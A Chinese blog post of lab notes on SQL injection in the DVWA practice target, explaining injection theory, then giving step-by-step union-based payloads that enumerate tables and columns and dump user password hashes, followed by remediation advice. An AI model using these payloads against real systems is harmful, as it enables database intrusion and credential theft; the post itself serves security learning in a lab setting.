DVWA靶场笔记之sql注入攻击原理

一、 sql注入原理:
就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。
二、Sql注入攻击的主要形式有两种,一种是直接将代码插入到与sql命令串联在一起并使得其以执行的用户输入变量。由于其直接与sql语句捆绑,故也白称为直接注入式攻击
二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。
例子:
Statement:=”SELECTFROM Users WHERE Value =” + a_variable + “
这一条语句就是很普通的sql语句,他主要实现的功能就是让用户输入一个员工编号然后查询处这个员工的信息,但是这条于语句被不法攻击者改装过后,就可能成为破坏数据的黑手。如攻击者在输入变量的时候,输入一下内容
SA001’ ;drop table c_order–。那么以上这条sql语句在执行的时候就变为了
Statement:=”SELECT
FROM Users WHERE Value =” SA001’ ;drop table c_order-- “
这条语句是什么意思呢?‘SA001’后面的分号表示一个查询的结束和另一条语句的开始。c_order后面的双连字符 指示当前行余下的部分只是一个注释,应该忽略。如果修改后的代码语法正确,则服务器将执行该代码。系统在处理这条语句时,将首先执行查询语句,查到用户编号为SA001 的用户信息。然后,数据将删除表C_ORDER(如果没有其他主键等相关约束,则删除操作就会成功)。只要注入的SQL代码语法正确,便无法采用编程方式来检测篡改。因此,必须验证所有用户输入,并仔细检查在您所用的服务器中执行构造 SQL命令的代码。

漏洞例子:
打开dvwa靶场在这里插入图片描述

查看一下sql注入的靶场源码

在这里插入图片描述

这里的 i d 变 量 直 接 有 id 变量直接有 idid=$_REQUEST['id’];得到,没有进行任何过滤。因此就可以通过输入恶意的字符串来进行 sql注入
这里输入测试一下id=1看看会出现什么

在这里插入图片描述

在url测试常见的?id=1和and 1=1 ,and 1=2和’and’1’=1,’and’1’=2后面无变化因此直接选择在输入框进行简单测试操作
输入1 or 1=1#,查询成功
在这里插入图片描述

Sql语句:
SELECT first_name, last_name FROM users WHERE user_id = ‘1 or 1=1#’
加入单引号判断注入点,1’ or 1=1#

在这里插入图片描述查询成功并返回多个结果,说明存在着一个字符型的sql注入漏洞
Sql语句:
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or 1=1#’
判断到注入点了,就来猜测sql语句的字段数
输入1’ or 1=1 order by 1,2,3,4#结果是显示错误
改为1’ or 1=1 order by 1,2#,查询成功,说明有两个字段
这里也可以输入1’ union select 2,3#使用union来查询

知道字段之后就是查询数据库了,输入1’ union select 1,database()#,查询成功,说明当前的数据库是dvwa
Sql语句
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select 1,database()#’
在这里插入图片描述

知道了数据名。下一步就是要知道他的表名了
输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#,查询成功
Sql语句:
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select
1,group_concat(table_name) from information_schema.tables where table_schema=database()#’
在这里插入图片描述

在下一步当然就是要知道他的列名了,输入:
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#,查询成功返回列名
Sql语句:
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select
1,group_concat(column_name) from information_schema.columns where table_name=’users’##’

在这里插入图片描述

到了这里就剩最后一步,猜测用户密码,直接输入:
1’ or 1=1 union select group_concat(user_id,first_name,last_name,user),group_concat(password) from users#,查询成功,返回users表中所有用户的user_id,fisrt_name,last_name,user,password的数据
Sql语句:
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or 1=1 union select
group_concat(user_id,first_name,last_name,user),group_concat(password) from users#’
在这里插入图片描述

获取的数据都是哈希值,可以到专门的网站中进行解密

Sql注入漏洞修复建议
1.对进入数据库的特殊字符(’"\尖括号&*;等)进行转义处理,或编码转换。
2.严格限制变量类型,数据库中的存储字段必须对应为int型。
3.数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
4.网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
5.严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
6.避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
7.在网站发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。
8.确认PHP配置文件中的magic_quotes_gpc选项保持开启。

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA(Damn Vulnerable Web Application)靶场中,初级SQL注入是一种常见的漏洞类型。SQL注入是一种攻击技术,通过在Web应用程序中注入恶意的SQL代码来绕过应用程序的安全控制,从而获取非法访问或执行未经授权的操作。 下面是一些在DVWA靶场中进行初级SQL注入的步骤: 1. 登录DVWA:首先,登录到DVWA靶场。你可以在浏览器中输入`http://localhost/dvwa/login.php`,然后使用默认的用户名和密码登录(默认用户名:admin,密码:password)。 2. 设置安全级别:DVWA有不同的安全级别可供选择。在这个例子中,将安全级别设置为"低"。你可以在页面顶部的安全选项中找到并选择安全级别。 3. 选择"SQL Injection":在DVWA的主菜单中,选择"SQL Injection"。这将带你进入一个页面,你可以在这个页面上进行SQL注入攻击。 4. 探测注入点:在页面上,你将看到一个输入框,用于输入用户ID。首先,尝试输入一个常规的用户ID(如1)并提交表单。观察页面的响应,看是否存在任何异常或错误信息。如果没有出现错误,则说明该输入点可能存在注入漏洞。 5. 进行注入攻击:在用户ID输入框中,尝试输入一些注入代码,如`' OR '1'='1`。这是一种常见的注入技巧,目的是绕过应用程序的验证逻辑。提交表单并观察页面的响应。如果页面显示了所有用户的信息,说明注入成功。 请注意,这只是一个简单的示例,实际的SQL注入攻击可能更加复杂。在实际环境中,进行SQL注入攻击是不道德和非法的,除非你有合法的授权和目的。在学习和测试过程中,务必遵守法律和道德规范。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值